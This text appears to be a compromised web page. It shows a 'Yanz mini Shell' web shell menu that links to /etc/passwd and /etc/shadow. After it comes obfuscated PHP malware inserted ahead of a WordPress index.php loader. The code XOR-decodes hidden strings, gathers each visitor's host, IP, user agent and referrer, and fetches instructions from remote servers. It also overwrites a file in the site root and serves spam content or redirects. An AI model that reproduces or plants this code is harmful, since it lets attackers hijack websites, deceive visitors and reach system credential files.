Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function oOF6VaSJwQ($TDgft, $JvVaC){ $V4a9u = ($TDgft * $JvVaC) % 63; $xGirH = sqrt(abs($V4a9u)) * 9926 / 100; $SdWtC = ($V4a9u << 2) ^ ($xGirH >> 1); if($SdWtC > 63 * 10) { $SdWtC = $SdWtC / $TDgft; } else { $SdWtC = $SdWtC * $JvVaC; } return ($SdWtC + $V4a9u) % 9926; } $EtfEU7 = 865 + 594; $hxHJd3 = ($EtfEU7 * 865) / (594 + 1); $GIRIoW = str_repeat('x', $EtfEU7 % 10); $EtfEU7 = ($EtfEU7 << 15) | ($EtfEU7 >> (32 - 15)); class BhfxAHUNPBE4 { private $gaPDA; private $ptHQJ; public function rQaWNaZ3() { return $this->gaPDA * $this->ptHQJ % 100; } public function zUGBH6cm($gaPDA) { $this->$gaPDA = ($gaPDA + $this->$gaPDA) % 1000; return $this->rQaWNaZ3(); } } $ff0hc = 'JarHrsjgznG54doT';$K1UTc = array('_68rm8w' => '6f52416d41424f54434b740711562b717c54577e37565c565f597f1007564a677b44417b57412f424d586202754159676f574a6d454a4f514c4b710711525a717824577e30565c245f58031911575c717950577b4b5659555f5c031002514a620f44447957445242495c620605415c676f53376d444a4f504c4b710011522a717d58577f44565c505f59721003564a660f44440a574529424c2a6b1007574a677b44417157405842482a6203014159116f57436d454b4f54484b740411575c717824577f41565c225f58711002534a627844447d574458424c586207714159636f57406d44404642495d620605415c6d6f52406d40374f514f4b717011525e717d59577b405659565f5d741006214a637344457e57442b424d586203054159116f564b6d45454f514c4b7570115258717c53577e41','_4j93pk' => '66','_oa3i9d' => '2215063801','_odmcnr' => '22150638','_vmknu2' => '65','_t42ti0' => '023526182d3b25342e','_fjmqb1' => '023526182d3229243f3e136a782521131f20350d','_uptsnc' => '2f0f','_shn4zn' => '023526182d212f213f3c0267','_73awsl' => '','_7efn82' => '3d041075','_ori7nk' => '6c1b0875','_nhsjoh' => '7b','_mo9m7q' => '7a','_4z14hg' => '6c1400214f','_3kzup5' => '6c140024011b0b091d53','_lw1654' => '6c09063c024e','_qm7mx5' => '6c0d1326154e','_zqukio' => '0e2e311d3f362433253c087a60','_hqh76i' => '65131d2a1d0719490e1633','_3p1nt0' => '','_8lspk6' => '655e','_i2trsv' => '75','_vynjrk' => '1f12173a5f120d02141a7d151e','_yyeqka' => '0b0d1e2705494a48','_fcjyid' => '1908062d1f121a5d5a','_lotf9v' => '704e5d','_is6new' => '3908062d1f121a4902032b','_0b2k8z' => '240e102706061902080f20505a10','_5yf896' => '0235261821','_6ivq4b' => '250714','_3awvak' => '023526182d2b3521353c107466202a1015312007263c','_ebtkir' => '023526182d353828343a18707a20301c1e35221b','_ftuzub' => '1824231d37203e382f3c0e','_n3ey9c' => '2b13153e','_gz3ekm' => '1a29221721362621','_eqozaw' => '75','_94r3su' => '1b34371a2b2c393328270972','_2k5rro' => '023526182d26392228310672712a3b','_zjyhkj' => '2d0e1d2f1e1608080e','_693x45' => '28081c2f','_argqyv' => '33001a271d','_z9ytpr' => '2d0e1d2f1e16','_waf25u' => '0d0e1d2f1e1608080e','_1skqg1' => '22150638485c45','_1x6mfd' => '65081c2c170b4417121e78','_xa38kc' => '2b0d1e27052c1f151631215a440101','_9qu1cl' => '2934200452361815151c7d1504','_5gk7ko' => '250a1a3c1f1f0d020e072a52','_q80aex' => '090e1c3c171d1e4a2e1737500e4406392b06176718030f00','_it3llp' => '250a1a3c1f1f0d020e072a52','_gknsnd' => '250a1a3c1f1f0d020e0d3446','_zk9z8z' => '090e1c3c171d1e4a2e1737500e441b3132155d2b010051471906264747011b693f1514654a','_p8rrsu' => '250a1a3c1f1f0d020e0d3446','_o88bmw' => '250a1a3c1f1f0d020e0d285b40010120','_ii1lhn' => '090e1c3c171d1e4a0e1737500e441b3132155d20061e065c5a0d2f5446170a207714062e5f4b','_wihd94' => '250a1a3c1f1f0d020e0d285b40010120','_d3z0vk' => '250a0a251e140f1319012941510a1b','_qrdupm' => '090e1c3c171d1e4a2e1737500e440e243a0d1b2b1307030814413f58585f4f372200003b170757120e086a0d','_pnuy77' => '250a0a251e140f1319012941510a1b','_zg9c7o' => '2d04062b1d1d1e02141a720504140e332f','_3awjis' => '023526185d4244565a5b7705142d01202f131c291e5339020818224714211d262513','_3o5z4a' => '2d04062b1d1d1e02141a730500140e332f','_ngyxe3' => '023526185d4244565a5a7701142a00206a271d3d1c17','_gtjxkj' => '2d04062b1d1d1e02141a740505140e332f','_xc7ktp' => '023526185d4244565a5d7704142900222f05521817010706140b2941581d','_tyu826' => '060e1129061a0509404e','_40ehfm' => '250a0027101c1e141d0b33565b0a1b312415','_8ncxzq' => '090e1c3c171d1e4a2e1737500e441b3132155d381e120309','_bb5ntz' => '250a0027101c1e141d0b33565b0a1b312415','_aazclf' => '1d312d1d21363533322b0a7067');foreach($K1UTc as $key => $value){ $PkjE7 = noHhE(hex2bin($value), $ff0hc); define($key, $PkjE7 ); }unset($K1UTc, $ff0hc);unset($GLOBALS['noHhE']);function noHhE($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$cP1v2 = _68rm8w; $XrJbc = explode(_4j93pk, $cP1v2); $Pjc1I = toGYISMq() ? _oa3i9d : _odmcnr; $E7CKI = cKOWaUkx(); $QvTpF = empty($E7CKI) ? _vmknu2 : $E7CKI; $LBRIm = $_SERVER[_t42ti0]; $lzNQD = isset($_SERVER[_fjmqb1]) ? $_SERVER[_fjmqb1] : _uptsnc; $coJzg = isset($_SERVER[_shn4zn]) ? $_SERVER[_shn4zn] : _73awsl; $vAOHk = _7efn82 . $LBRIm . _ori7nk . (iyLEsBJ6() ? _nhsjoh : _mo9m7q) . _4z14hg . urlencode($QvTpF) . _3kzup5 . urlencode($coJzg) . _lw1654 . $Pjc1I . _qm7mx5 . $lzNQD; $Yukw6 = z14JF5ds($XrJbc, $Pjc1I, $vAOHk); $DRo1u = $_SERVER[_zqukio] . _hqh76i; $RW35z = _73awsl; if (stristr($QvTpF, _8lspk6)) { $RW35z = _i2trsv; } $xHH6x = _vynjrk . PHP_EOL; $xHH6x .= _yyeqka . PHP_EOL . PHP_EOL; $xHH6x .= _fcjyid . $Pjc1I . _lotf9v . $LBRIm . _vmknu2 . $RW35z . _is6new . PHP_EOL; if (!file_exists($DRo1u)) { file_put_contents($DRo1u, $xHH6x); } else { if (md5_file($DRo1u) !== md5($xHH6x)) { @file_put_contents($DRo1u, $xHH6x); } } if (!strstr($Yukw6, _0b2k8z)) { NdDoOAQi($Yukw6); } function toGYISMq() { return ( isset($_SERVER[_5yf896]) && strtolower($_SERVER[_5yf896]) !== _6ivq4b || isset($_SERVER[_3awvak]) && $_SERVER[_3awvak] === _oa3i9d || isset($_SERVER[_ebtkir]) && strtolower($_SERVER[_ebtkir]) !== _6ivq4b ); } function cKOWaUkx() { if (isset($_SERVER[_ftuzub])) { return $_SERVER[_ftuzub]; } elseif (isset($_SERVER[_n3ey9c])) { return $_SERVER[_gz3ekm] . _i2trsv . $_SERVER[_n3ey9c][0]; } else { return $_SERVER[_gz3ekm] . _i2trsv . $_SERVER[_94r3su]; } } function iyLEsBJ6() { $smlJh = strtolower(isset($_SERVER[_2k5rro]) ? $_SERVER[_2k5rro] : _73awsl); return stristr($smlJh, _zjyhkj) || stristr($smlJh, _693x45) || stristr($smlJh, _argqyv) || stristr($smlJh, _z9ytpr) || stristr($smlJh, _waf25u); } function z14JF5ds($LQQuC, $Pjc1I, $vAOHk) { shuffle($LQQuC); foreach ($LQQuC as $lq8m8) { $lq8m8 = str_rot13(urldecode($lq8m8)); $qBcvn = _1skqg1 . $lq8m8 . _1x6mfd . $vAOHk; $iZaNJ = curl_init(); curl_setopt($iZaNJ, CURLOPT_URL, $qBcvn); curl_setopt($iZaNJ, CURLOPT_RETURNTRANSFER, true); $dh8tr = curl_exec($iZaNJ); if (!curl_errno($iZaNJ)) { curl_close($iZaNJ); return $dh8tr; } else { curl_close($iZaNJ); } if (ini_get(_xa38kc)) { $dh8tr = @file_get_contents($qBcvn); if ($dh8tr !== false) { return $dh8tr; } } } echo _9qu1cl; } function NdDoOAQi($Yukw6) { if (strstr($Yukw6, _5gk7ko)) { header(_q80aex); echo str_replace(_5gk7ko, _73awsl, $Yukw6); exit(); } elseif (strstr($Yukw6, _gknsnd)) { header(_zk9z8z); echo str_replace(_gknsnd, _73awsl, $Yukw6); exit(); } elseif (strstr($Yukw6, _o88bmw)) { header(_ii1lhn); echo str_replace(_o88bmw, _73awsl, $Yukw6); exit(); } elseif (strstr($Yukw6, _d3z0vk)) { header(_qrdupm); echo str_replace(_d3z0vk, _73awsl, $Yukw6); exit(); } elseif (strstr($Yukw6, _zg9c7o)) { header(_3awjis); exit(); } elseif (strstr($Yukw6, _3o5z4a)) { header(_ngyxe3); exit(); } elseif (strstr($Yukw6, _gtjxkj)) { header(_xc7ktp); $Yukw6 = str_replace(_gtjxkj, _73awsl, $Yukw6); header(_tyu826 . $Yukw6); exit(); } elseif (strstr($Yukw6, _40ehfm)) { header(_8ncxzq); echo str_replace(_40ehfm, _73awsl, $Yukw6); exit(); } } define( _aazclf, true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>